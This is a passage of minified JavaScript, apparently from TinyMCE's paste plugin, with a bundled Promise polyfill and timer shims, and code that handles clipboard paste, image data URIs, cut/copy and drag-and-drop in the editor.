}; (function (define, exports, module, require) { (function (f) { if (typeof exports === 'object' && typeof module !== 'undefined') { module.exports = f(); } else if (typeof define === 'function' && define.amd) { define([], f); } else { var g; if (typeof window !== 'undefined') { g = window; } else if (typeof global !== 'undefined') { g = global; } else if (typeof self !== 'undefined') { g = self; } else { g = this; } g.EphoxContactWrapper = f(); } }(function () { return function () { function r(e, n, t) { function o(i, f) { if (!n[i]) { if (!e[i]) { var c = 'function' == typeof require && require; if (!f && c) return c(i, !0); if (u) return u(i, !0); var a = new Error('Cannot find module \'' + i + '\''); throw a.code = 'MODULE_NOT_FOUND', a; } var p = n[i] = { exports: {} }; e[i][0].call(p.exports, function (r) { var n = e[i][1][r]; return o(n || r); }, p, p.exports, r, e, n, t); } return n[i].exports; } for (var u = 'function' == typeof require && require, i = 0; i < t.length; i++) o(t[i]); return o; } return r; }()({ 1: [ function (require, module, exports) { var process = module.exports = {}; var cachedSetTimeout; var cachedClearTimeout; function defaultSetTimout() { throw new Error('setTimeout has not been defined'); } function defaultClearTimeout() { throw new Error('clearTimeout has not been defined'); } (function () { try { if (typeof setTimeout === 'function') { cachedSetTimeout = setTimeout; } else { cachedSetTimeout = defaultSetTimout; } } catch (e) { cachedSetTimeout = defaultSetTimout; } try { if (typeof clearTimeout === 'function') { cachedClearTimeout = clearTimeout; } else { cachedClearTimeout = defaultClearTimeout; } } catch (e) { cachedClearTimeout = defaultClearTimeout; } }()); function runTimeout(fun) { if (cachedSetTimeout === setTimeout) { return setTimeout(fun, 0); } if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) { cachedSetTimeout = setTimeout; return setTimeout(fun, 0); } try { return cachedSetTimeout(fun, 0); } catch (e) { try { return cachedSetTimeout.call(null, fun, 0); } catch (e) { return cachedSetTimeout.call(this, fun, 0); } } } function runClearTimeout(marker) { if (cachedClearTimeout === clearTimeout) { return clearTimeout(marker); } if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) { cachedClearTimeout = clearTimeout; return clearTimeout(marker); } try { return cachedClearTimeout(marker); } catch (e) { try { return cachedClearTimeout.call(null, marker); } catch (e) { return cachedClearTimeout.call(this, marker); } } } var queue = []; var draining = false; var currentQueue; var queueIndex = -1; function cleanUpNextTick() { if (!draining || !currentQueue) { return; } draining = false; if (currentQueue.length) { queue = currentQueue.concat(queue); } else { queueIndex = -1; } if (queue.length) { drainQueue(); } } function drainQueue() { if (draining) { return; } var timeout = runTimeout(cleanUpNextTick); draining = true; var len = queue.length; while (len) { currentQueue = queue; queue = []; while (++queueIndex < len) { if (currentQueue) { currentQueue[queueIndex].run(); } } queueIndex = -1; len = queue.length; } currentQueue = null; draining = false; runClearTimeout(timeout); } process.nextTick = function (fun) { var args = new Array(arguments.length - 1); if (arguments.length > 1) { for (var i = 1; i < arguments.length; i++) { args[i - 1] = arguments[i]; } } queue.push(new Item(fun, args)); if (queue.length === 1 && !draining) { runTimeout(drainQueue); } }; function Item(fun, array) { this.fun = fun; this.array = array; } Item.prototype.run = function () { this.fun.apply(null, this.array); }; process.title = 'browser'; process.browser = true; process.env = {}; process.argv = []; process.version = ''; process.versions = {}; function noop() { } process.on = noop; process.addListener = noop; process.once = noop; process.off = noop; process.removeListener = noop; process.removeAllListeners = noop; process.emit = noop; process.prependListener = noop; process.prependOnceListener = noop; process.listeners = function (name) { return []; }; process.binding = function (name) { throw new Error('process.binding is not supported'); }; process.cwd = function () { return '/'; }; process.chdir = function (dir) { throw new Error('process.chdir is not supported'); }; process.umask = function () { return 0; }; }, {} ], 2: [ function (require, module, exports) { (function (setImmediate) { (function (root) { var setTimeoutFunc = setTimeout; function noop() { } function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function () { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new this.constructor(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; Promise._immediateFn = typeof setImmediate === 'function' ? function (fn) { setImmediate(fn); } : function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); } }; Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } }(this)); }.call(this, require('timers').setImmediate)); }, { 'timers': 3 } ], 3: [ function (require, module, exports) { (function (setImmediate, clearImmediate) { var nextTick = require('process/browser.js').nextTick; var apply = Function.prototype.apply; var slice = Array.prototype.slice; var immediateIds = {}; var nextImmediateId = 0; exports.setTimeout = function () { return new Timeout(apply.call(setTimeout, window, arguments), clearTimeout); }; exports.setInterval = function () { return new Timeout(apply.call(setInterval, window, arguments), clearInterval); }; exports.clearTimeout = exports.clearInterval = function (timeout) { timeout.close(); }; function Timeout(id, clearFn) { this._id = id; this._clearFn = clearFn; } Timeout.prototype.unref = Timeout.prototype.ref = function () { }; Timeout.prototype.close = function () { this._clearFn.call(window, this._id); }; exports.enroll = function (item, msecs) { clearTimeout(item._idleTimeoutId); item._idleTimeout = msecs; }; exports.unenroll = function (item) { clearTimeout(item._idleTimeoutId); item._idleTimeout = -1; }; exports._unrefActive = exports.active = function (item) { clearTimeout(item._idleTimeoutId); var msecs = item._idleTimeout; if (msecs >= 0) { item._idleTimeoutId = setTimeout(function onTimeout() { if (item._onTimeout) item._onTimeout(); }, msecs); } }; exports.setImmediate = typeof setImmediate === 'function' ? setImmediate : function (fn) { var id = nextImmediateId++; var args = arguments.length < 2 ? false : slice.call(arguments, 1); immediateIds[id] = true; nextTick(function onNextTick() { if (immediateIds[id]) { if (args) { fn.apply(null, args); } else { fn.call(null); } exports.clearImmediate(id); } }); return id; }; exports.clearImmediate = typeof clearImmediate === 'function' ? clearImmediate : function (id) { delete immediateIds[id]; }; }.call(this, require('timers').setImmediate, require('timers').clearImmediate)); }, { 'process/browser.js': 1, 'timers': 3 } ], 4: [ function (require, module, exports) { var promisePolyfill = require('promise-polyfill'); var Global = function () { if (typeof window !== 'undefined') { return window; } else { return Function('return this;')(); } }(); module.exports = { boltExport: Global.Promise || promisePolyfill }; }, { 'promise-polyfill': 2 } ] }, {}, [4])(4); })); }(undefined, exports$1, module, undefined)); var Promise = module.exports.boltExport; var nu = function (baseFn) { var data = Option.none(); var callbacks = []; var map = function (f) { return nu(function (nCallback) { get(function (data) { nCallback(f(data)); }); }); }; var get = function (nCallback) { if (isReady()) { call(nCallback); } else { callbacks.push(nCallback); } }; var set = function (x) { data = Option.some(x); run(callbacks); callbacks = []; }; var isReady = function () { return data.isSome(); }; var run = function (cbs) { each(cbs, call); }; var call = function (cb) { data.each(function (x) { domGlobals.setTimeout(function () { cb(x); }, 0); }); }; baseFn(set); return { get: get, map: map, isReady: isReady }; }; var pure = function (a) { return nu(function (callback) { callback(a); }); }; var LazyValue = { nu: nu, pure: pure }; var errorReporter = function (err) { domGlobals.setTimeout(function () { throw err; }, 0); }; var make = function (run) { var get = function (callback) { run().then(callback, errorReporter); }; var map = function (fab) { return make(function () { return run().then(fab); }); }; var bind = function (aFutureB) { return make(function () { return run().then(function (v) { return aFutureB(v).toPromise(); }); }); }; var anonBind = function (futureB) { return make(function () { return run().then(function () { return futureB.toPromise(); }); }); }; var toLazy = function () { return LazyValue.nu(get); }; var toCached = function () { var cache = null; return make(function () { if (cache === null) { cache = run(); } return cache; }); }; var toPromise = run; return { map: map, bind: bind, anonBind: anonBind, toLazy: toLazy, toCached: toCached, toPromise: toPromise, get: get }; }; var nu$1 = function (baseFn) { return make(function () { return new Promise(baseFn); }); }; var pure$1 = function (a) { return make(function () { return Promise.resolve(a); }); }; var Future = { nu: nu$1, pure: pure$1 }; var par = function (asyncValues, nu) { return nu(function (callback) { var r = []; var count = 0; var cb = function (i) { return function (value) { r[i] = value; count++; if (count >= asyncValues.length) { callback(r); } }; }; if (asyncValues.length === 0) { callback([]); } else { each(asyncValues, function (asyncValue, i) { asyncValue.get(cb(i)); }); } }); }; var par$1 = function (futures) { return par(futures, Future.nu); }; var traverse = function (array, fn) { return par$1(map(array, fn)); }; var mapM = traverse; var value = function () { var subject = Cell(Option.none()); var clear = function () { subject.set(Option.none()); }; var set = function (s) { subject.set(Option.some(s)); }; var on = function (f) { subject.get().each(f); }; var isSet = function () { return subject.get().isSome(); }; return { clear: clear, set: set, isSet: isSet, on: on }; }; var pasteHtml$1 = function (editor, html, internalFlag) { var internal = internalFlag ? internalFlag : InternalHtml.isMarked(html); var args = ProcessFilters.process(editor, InternalHtml.unmark(html), internal); if (args.cancelled === false) { SmartPaste.insertContent(editor, args.content); } }; var pasteText = function (editor, text) { text = editor.dom.encode(text).replace(/\r\n/g, '\n'); text = Newlines.convert(text, editor.settings.forced_root_block, editor.settings.forced_root_block_attrs); pasteHtml$1(editor, text, false); }; var getDataTransferItems = function (dataTransfer) { var items = {}; var mceInternalUrlPrefix = 'data:text/mce-internal,'; if (dataTransfer) { if (dataTransfer.getData) { var legacyText = dataTransfer.getData('Text'); if (legacyText && legacyText.length > 0) { if (legacyText.indexOf(mceInternalUrlPrefix) === -1) { items['text/plain'] = legacyText; } } } if (dataTransfer.types) { for (var i = 0; i < dataTransfer.types.length; i++) { var contentType = dataTransfer.types[i]; try { items[contentType] = dataTransfer.getData(contentType); } catch (ex) { items[contentType] = ''; } } } } return items; }; var getClipboardContent = function (editor, clipboardEvent) { var content = getDataTransferItems(clipboardEvent.clipboardData || editor.getDoc().dataTransfer); return Utils.isMsEdge() ? global$4.extend(content, { 'text/html': '' }) : content; }; var hasContentType = function (clipboardContent, mimeType) { return mimeType in clipboardContent && clipboardContent[mimeType].length > 0; }; var hasHtmlOrText = function (content) { return hasContentType(content, 'text/html') || hasContentType(content, 'text/plain'); }; var getBase64FromUri = function (uri) { var idx; idx = uri.indexOf(','); if (idx !== -1) { return uri.substr(idx + 1); } return null; }; var isValidDataUriImage = function (settings, imgElm) { return settings.images_dataimg_filter ? settings.images_dataimg_filter(imgElm) : true; }; var extractFilename = function (editor, str) { var m = str.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i); return m ? editor.dom.encode(m[1]) : null; }; var uniqueId = Utils.createIdGenerator('mceclip'); var pasteImage = function (editor, imageItem) { var base64 = getBase64FromUri(imageItem.uri); var id = uniqueId(); var name = editor.settings.images_reuse_filename && imageItem.blob.name ? extractFilename(editor, imageItem.blob.name) : id; var img = new domGlobals.Image(); img.src = imageItem.uri; if (isValidDataUriImage(editor.settings, img)) { var blobCache = editor.editorUpload.blobCache; var blobInfo = void 0, existingBlobInfo = void 0; existingBlobInfo = blobCache.findFirst(function (cachedBlobInfo) { return cachedBlobInfo.base64() === base64; }); if (!existingBlobInfo) { blobInfo = blobCache.create(id, imageItem.blob, base64, name); blobCache.add(blobInfo); } else { blobInfo = existingBlobInfo; } pasteHtml$1(editor, '<img src="' + blobInfo.blobUri() + '">', false); } else { pasteHtml$1(editor, '<img src="' + imageItem.uri + '">', false); } }; var isClipboardEvent = function (event) { return event.type === 'paste'; }; var readBlobsAsDataUris = function (items) { return mapM(items, function (item) { return Future.nu(function (resolve) { var blob = item.getAsFile ? item.getAsFile() : item; var reader = new window.FileReader(); reader.onload = function () { resolve({ blob: blob, uri: reader.result }); }; reader.readAsDataURL(blob); }); }); }; var getImagesFromDataTransfer = function (dataTransfer) { var items = dataTransfer.items ? map(from$1(dataTransfer.items), function (item) { return item.getAsFile(); }) : []; var files = dataTransfer.files ? from$1(dataTransfer.files) : []; var images = filter$1(items.length > 0 ? items : files, function (file) { return /^image\/(jpeg|png|gif|bmp)$/.test(file.type); }); return images; }; var pasteImageData = function (editor, e, rng) { var dataTransfer = isClipboardEvent(e) ? e.clipboardData : e.dataTransfer; if (editor.settings.paste_data_images && dataTransfer) { var images = getImagesFromDataTransfer(dataTransfer); if (images.length > 0) { e.preventDefault(); readBlobsAsDataUris(images).get(function (blobResults) { if (rng) { editor.selection.setRng(rng); } each(blobResults, function (result) { pasteImage(editor, result); }); }); return true; } } return false; }; var isBrokenAndroidClipboardEvent = function (e) { var clipboardData = e.clipboardData; return domGlobals.navigator.userAgent.indexOf('Android') !== -1 && clipboardData && clipboardData.items && clipboardData.items.length === 0; }; var isKeyboardPasteEvent = function (e) { return global$5.metaKeyPressed(e) && e.keyCode === 86 || e.shiftKey && e.keyCode === 45; }; var registerEventHandlers = function (editor, pasteBin, pasteFormat) { var keyboardPasteEvent = value(); var keyboardPastePlainTextState; editor.on('keydown', function (e) { function removePasteBinOnKeyUp(e) { if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) { pasteBin.remove(); } } if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) { keyboardPastePlainTextState = e.shiftKey && e.keyCode === 86; if (keyboardPastePlainTextState && global$2.webkit && domGlobals.navigator.userAgent.indexOf('Version/') !== -1) { return; } e.stopImmediatePropagation(); keyboardPasteEvent.set(e); window.setTimeout(function () { keyboardPasteEvent.clear(); }, 100); if (global$2.ie && keyboardPastePlainTextState) { e.preventDefault(); Events.firePaste(editor, true); return; } pasteBin.remove(); pasteBin.create(); editor.once('keyup', removePasteBinOnKeyUp); editor.once('paste', function () { editor.off('keyup', removePasteBinOnKeyUp); }); } }); function insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal) { var content, isPlainTextHtml; if (hasContentType(clipboardContent, 'text/html')) { content = clipboardContent['text/html']; } else { content = pasteBin.getHtml(); internal = internal ? internal : InternalHtml.isMarked(content); if (pasteBin.isDefaultContent(content)) { plainTextMode = true; } } content = Utils.trimHtml(content); pasteBin.remove(); isPlainTextHtml = internal === false && Newlines.isPlainText(content); if (!content.length || isPlainTextHtml) { plainTextMode = true; } if (plainTextMode) { if (hasContentType(clipboardContent, 'text/plain') && isPlainTextHtml) { content = clipboardContent['text/plain']; } else { content = Utils.innerText(content); } } if (pasteBin.isDefaultContent(content)) { if (!isKeyBoardPaste) { editor.windowManager.alert('Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.'); } return; } if (plainTextMode) { pasteText(editor, content); } else { pasteHtml$1(editor, content, internal); } } var getLastRng = function () { return pasteBin.getLastRng() || editor.selection.getRng(); }; editor.on('paste', function (e) { var isKeyBoardPaste = keyboardPasteEvent.isSet(); var clipboardContent = getClipboardContent(editor, e); var plainTextMode = pasteFormat.get() === 'text' || keyboardPastePlainTextState; var internal = hasContentType(clipboardContent, InternalHtml.internalHtmlMime()); keyboardPastePlainTextState = false; if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) { pasteBin.remove(); return; } if (!hasHtmlOrText(clipboardContent) && pasteImageData(editor, e, getLastRng())) { pasteBin.remove(); return; } if (!isKeyBoardPaste) { e.preventDefault(); } if (global$2.ie && (!isKeyBoardPaste || e.ieFake) && !hasContentType(clipboardContent, 'text/html')) { pasteBin.create(); editor.dom.bind(pasteBin.getEl(), 'paste', function (e) { e.stopPropagation(); }); editor.getDoc().execCommand('Paste', false, null); clipboardContent['text/html'] = pasteBin.getHtml(); } if (hasContentType(clipboardContent, 'text/html')) { e.preventDefault(); if (!internal) { internal = InternalHtml.isMarked(clipboardContent['text/html']); } insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal); } else { global$3.setEditorTimeout(editor, function () { insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal); }, 0); } }); }; var registerEventsAndFilters = function (editor, pasteBin, pasteFormat) { registerEventHandlers(editor, pasteBin, pasteFormat); var src; editor.parser.addNodeFilter('img', function (nodes, name, args) { var isPasteInsert = function (args) { return args.data && args.data.paste === true; }; var remove = function (node) { if (!node.attr('data-mce-object') && src !== global$2.transparentSrc) { node.remove(); } }; var isWebKitFakeUrl = function (src) { return src.indexOf('webkit-fake-url') === 0; }; var isDataUri = function (src) { return src.indexOf('data:') === 0; }; if (!editor.settings.paste_data_images && isPasteInsert(args)) { var i = nodes.length; while (i--) { src = nodes[i].attributes.map.src; if (!src) { continue; } if (isWebKitFakeUrl(src)) { remove(nodes[i]); } else if (!editor.settings.allow_html_data_urls && isDataUri(src)) { remove(nodes[i]); } } } }); }; var getPasteBinParent = function (editor) { return global$2.ie && editor.inline ? domGlobals.document.body : editor.getBody(); }; var isExternalPasteBin = function (editor) { return getPasteBinParent(editor) !== editor.getBody(); }; var delegatePasteEvents = function (editor, pasteBinElm, pasteBinDefaultContent) { if (isExternalPasteBin(editor)) { editor.dom.bind(pasteBinElm, 'paste keyup', function (e) { if (!isDefault(editor, pasteBinDefaultContent)) { editor.fire('paste'); } }); } }; var create = function (editor, lastRngCell, pasteBinDefaultContent) { var dom = editor.dom, body = editor.getBody(); var pasteBinElm; lastRngCell.set(editor.selection.getRng()); pasteBinElm = editor.dom.add(getPasteBinParent(editor), 'div', { 'id': 'mcepastebin', 'class': 'mce-pastebin', 'contentEditable': true, 'data-mce-bogus': 'all', 'style': 'position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0' }, pasteBinDefaultContent); if (global$2.ie || global$2.gecko) { dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) === 'rtl' ? 65535 : -65535); } dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', function (e) { e.stopPropagation(); }); delegatePasteEvents(editor, pasteBinElm, pasteBinDefaultContent); pasteBinElm.focus(); editor.selection.select(pasteBinElm, true); }; var remove = function (editor, lastRngCell) { if (getEl(editor)) { var pasteBinClone = void 0; var lastRng = lastRngCell.get(); while (pasteBinClone = editor.dom.get('mcepastebin')) { editor.dom.remove(pasteBinClone); editor.dom.unbind(pasteBinClone); } if (lastRng) { editor.selection.setRng(lastRng); } } lastRngCell.set(null); }; var getEl = function (editor) { return editor.dom.get('mcepastebin'); }; var getHtml = function (editor) { var pasteBinElm, pasteBinClones, i, dirtyWrappers, cleanWrapper; var copyAndRemove = function (toElm, fromElm) { toElm.appendChild(fromElm); editor.dom.remove(fromElm, true); }; pasteBinClones = global$4.grep(getPasteBinParent(editor).childNodes, function (elm) { return elm.id === 'mcepastebin'; }); pasteBinElm = pasteBinClones.shift(); global$4.each(pasteBinClones, function (pasteBinClone) { copyAndRemove(pasteBinElm, pasteBinClone); }); dirtyWrappers = editor.dom.select('div[id=mcepastebin]', pasteBinElm); for (i = dirtyWrappers.length - 1; i >= 0; i--) { cleanWrapper = editor.dom.create('div'); pasteBinElm.insertBefore(cleanWrapper, dirtyWrappers[i]); copyAndRemove(cleanWrapper, dirtyWrappers[i]); } return pasteBinElm ? pasteBinElm.innerHTML : ''; }; var getLastRng = function (lastRng) { return lastRng.get(); }; var isDefaultContent = function (pasteBinDefaultContent, content) { return content === pasteBinDefaultContent; }; var isPasteBin = function (elm) { return elm && elm.id === 'mcepastebin'; }; var isDefault = function (editor, pasteBinDefaultContent) { var pasteBinElm = getEl(editor); return isPasteBin(pasteBinElm) && isDefaultContent(pasteBinDefaultContent, pasteBinElm.innerHTML); }; var PasteBin = function (editor) { var lastRng = Cell(null); var pasteBinDefaultContent = '%MCEPASTEBIN%'; return { create: function () { return create(editor, lastRng, pasteBinDefaultContent); }, remove: function () { return remove(editor, lastRng); }, getEl: function () { return getEl(editor); }, getHtml: function () { return getHtml(editor); }, getLastRng: function () { return getLastRng(lastRng); }, isDefault: function () { return isDefault(editor, pasteBinDefaultContent); }, isDefaultContent: function (content) { return isDefaultContent(pasteBinDefaultContent, content); } }; }; var Clipboard = function (editor, pasteFormat) { var pasteBin = PasteBin(editor); editor.on('preInit', function () { return registerEventsAndFilters(editor, pasteBin, pasteFormat); }); return { pasteFormat: pasteFormat, pasteHtml: function (html, internalFlag) { return pasteHtml$1(editor, html, internalFlag); }, pasteText: function (text) { return pasteText(editor, text); }, pasteImageData: function (e, rng) { return pasteImageData(editor, e, rng); }, getDataTransferItems: getDataTransferItems, hasHtmlOrText: hasHtmlOrText, hasContentType: hasContentType }; }; var noop$1 = function () { }; var hasWorkingClipboardApi = function (clipboardData) { return global$2.iOS === false && clipboardData !== undefined && typeof clipboardData.setData === 'function' && Utils.isMsEdge() !== true; }; var setHtml5Clipboard = function (clipboardData, html, text) { if (hasWorkingClipboardApi(clipboardData)) { try { clipboardData.clearData(); clipboardData.setData('text/html', html); clipboardData.setData('text/plain', text); clipboardData.setData(InternalHtml.internalHtmlMime(), html); return true; } catch (e) { return false; } } else { return false; } }; var setClipboardData = function (evt, data, fallback, done) { if (setHtml5Clipboard(evt.clipboardData, data.html, data.text)) { evt.preventDefault(); done(); } else { fallback(data.html, done); } }; var fallback = function (editor) { return function (html, done) { var markedHtml = InternalHtml.mark(html); var outer = editor.dom.create('div', { 'contenteditable': 'false', 'data-mce-bogus': 'all' }); var inner = editor.dom.create('div', { contenteditable: 'true' }, markedHtml); editor.dom.setStyles(outer, { position: 'fixed', top: '0', left: '-3000px', width: '1000px', overflow: 'hidden' }); outer.appendChild(inner); editor.dom.add(editor.getBody(), outer); var range = editor.selection.getRng(); inner.focus(); var offscreenRange = editor.dom.createRng(); offscreenRange.selectNodeContents(inner); editor.selection.setRng(offscreenRange); setTimeout(function () { editor.selection.setRng(range); outer.parentNode.removeChild(outer); done(); }, 0); }; }; var getData = function (editor) { return { html: editor.selection.getContent({ contextual: true }), text: editor.selection.getContent({ format: 'text' }) }; }; var isTableSelection = function (editor) { return !!editor.dom.getParent(editor.selection.getStart(), 'td[data-mce-selected],th[data-mce-selected]', editor.getBody()); }; var hasSelectedContent = function (editor) { return !editor.selection.isCollapsed() || isTableSelection(editor); }; var cut = function (editor) { return function (evt) { if (hasSelectedContent(editor)) { setClipboardData(evt, getData(editor), fallback(editor), function () { setTimeout(function () { editor.execCommand('Delete'); }, 0); }); } }; }; var copy = function (editor) { return function (evt) { if (hasSelectedContent(editor)) { setClipboardData(evt, getData(editor), fallback(editor), noop$1); } }; }; var register$1 = function (editor) { editor.on('cut', cut(editor)); editor.on('copy', copy(editor)); }; var CutCopy = { register: register$1 }; var global$b = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils'); var getCaretRangeFromEvent = function (editor, e) { return global$b.getCaretRangeFromPoint(e.clientX, e.clientY, editor.getDoc()); }; var isPlainTextFileUrl = function (content) { var plainTextContent = content['text/plain']; return plainTextContent ? plainTextContent.indexOf('file://') === 0 : false; }; var setFocusedRange = function (editor, rng) { editor.focus(); editor.selection.setRng(rng); }; var setup = function (editor, clipboard, draggingInternallyState) { if (Settings.shouldBlockDrop(editor)) { editor.on('dragend dragover draggesture dragdrop drop drag', function (e) { e.preventDefault(); e.stopPropagation(); }); } if (!Settings.shouldPasteDataImages(editor)) { editor.on('drop', function (e) { var dataTransfer = e.dataTransfer; if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) { e.preventDefault(); } }); } editor.on('drop', function (e) { var dropContent, rng; rng = getCaretRangeFromEvent(editor, e); if (e.isDefaultPrevented() || draggingInternallyState.get()) { return; } dropContent = clipboard.getDataTransferItems(e.dataTransfer); var internal = clipboard.hasContentType(dropContent, InternalHtml.internalHtmlMime()); if ((!clipboard.hasHtmlOrText(dropContent) || isPlainTextFileUrl(dropContent)) && clipboard.pasteImageData(e, rng)) { return; } if (rng && Settings.shouldFilterDrop(editor)) { var content_1 = dropContent['mce-internal'] || dropContent['text/html'] || dropContent['text/plain']; if (content_1) { e.preventDefault(); global$3.setEditorTimeout(editor, function () { editor.undoManager.transact(function () { if (dropContent['mce-internal']) { editor.execCommand('Delete'); } setFocusedRange(editor, rng); content_1 = Utils.trimHtml(content_1); if (!dropContent['text/html']) { clipboard.pasteText(content_1); } else { clipboard.pasteHtml(content_1, internal); } }); }); } } }); editor.on('dragstart', function (e) { draggingInternallyState.set(true); }); editor.on('dragover dragend', function (e) { if (Settings.shouldPasteDataImages(editor) && draggingInternallyState.get() === false) { e.preventDefault(); setFocusedRange(editor, getCaretRangeFromEvent(editor, e)); } if (e.type === 'dragend') { draggingInternallyState.set(false); } }); }; var DragDrop = { setup: setup }; var setup$1 = function (editor) { var plugin = editor.plugins.paste; var preProcess = Settings.getPreProcess(editor); if (preProcess) { editor.on('PastePreProcess', function (e) { preProcess.call(plugin, plugin, e); }); } var postProcess = Settings.getPostProcess(editor); if (postProcess) { editor.on('PastePostProcess', function (e) { postProcess.call(plugin, plugin, e); }); } }; var PrePostProcess = { setup: setup$1 }; function addPreProcessFilter(editor, filterFunc) { editor.on('PastePreProcess', function (e) { e.content = filterFunc(editor, e.content, e.internal, e.wordContent); }); } function addPostProcessFilter(editor, filterFunc) { editor.on('PastePostProcess', function (e) { filterFunc(editor, e.node); }); } function removeExplorerBrElementsAfterBlocks(editor, html) { if (!WordFilter.isWordContent(html)) { return html; } var blockElements = []; global$4.each(editor.schema.getBlockElements(), function (block, blockName) { blockElements.push(blockName); }); var explorerBlocksRegExp = new RegExp('(?:<br> [\\s\\r\\n]+|<br>)*(<\\/?(' + blockElements.join('|') + ')[^>]*>)(?:<br> [\\s\\r\\n]+|<br>)*', 'g'); html = Utils.filter(html, [[ explorerBlocksRegExp, '$1' ]]); html = Utils.filter(html, [ [ /<br><br>/g, '<BR><BR>' ], [ /<br>/g, ' ' ], [ /<BR><BR>/g, '<br>' ] ]); return html; } function removeWebKitStyles(editor, content, internal, isWordHtml) { if (isWordHtml || internal) { return content; } var webKitStylesSetting = Settings.getWebkitStyles(editor); var webKitStyles; if (Settings.shouldRemoveWebKitStyles(editor) === false || webKitStylesSetting === 'all') { return content; } if (webKitStylesSetting) { webKitStyles = webKitStylesSetting.split(/[, ]/); } if (webKitStyles) { var dom_1 = editor.dom, node_1 = editor.selection.getNode(); content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, function (all, before, value, after) { var inputStyles = dom_1.parseStyle(dom_1.decode(value)); var outputStyles = {}; if (webKitStyles === 'none') { return before + after; } for (var i = 0; i < webKitStyles.length; i++) { var inputValue = inputStyles[webKitStyles[i]], currentValue = dom_1.getStyle(node_1, webKitStyles[i], true); if (/color/.test(webKitStyles[i])) { inputValue = dom_1.toHex(inputValue); currentValue = dom_1.toHex(currentValue); } if (currentValue !== inputValue) { outputStyles[webKitStyles[i]] = inputValue; } } outputStyles = dom_1.serializeStyle(outputStyles, 'span'); if (outputStyles) { return before + ' style="' + outputStyles + '"' + after; } return before + after; }); } else { content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3'); } content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, function (all, before, value, after) { return before + ' style="' + value + '"' + after; }); return content; } function removeUnderlineAndFontInAnchor(editor, root) { editor.$('a', root).find('font,u').each(function (i, node) { editor.dom.remove(node, true); }); } var setup$2 = function (editor) { if (global$2.webkit) { addPreProcessFilter(editor, removeWebKitStyles); } if (global$2.ie) { addPreProcessFilter(editor, removeExplorerBrElementsAfterBlocks); addPostProcessFilter(editor, removeUnderlineAndFontInAnchor); } }; var Quirks = { setup: setup$2 }; var stateChange = function (editor, clipboard, e) { var ctrl = e.control; ctrl.active(clipboard.pasteFormat.get() === 'text'); 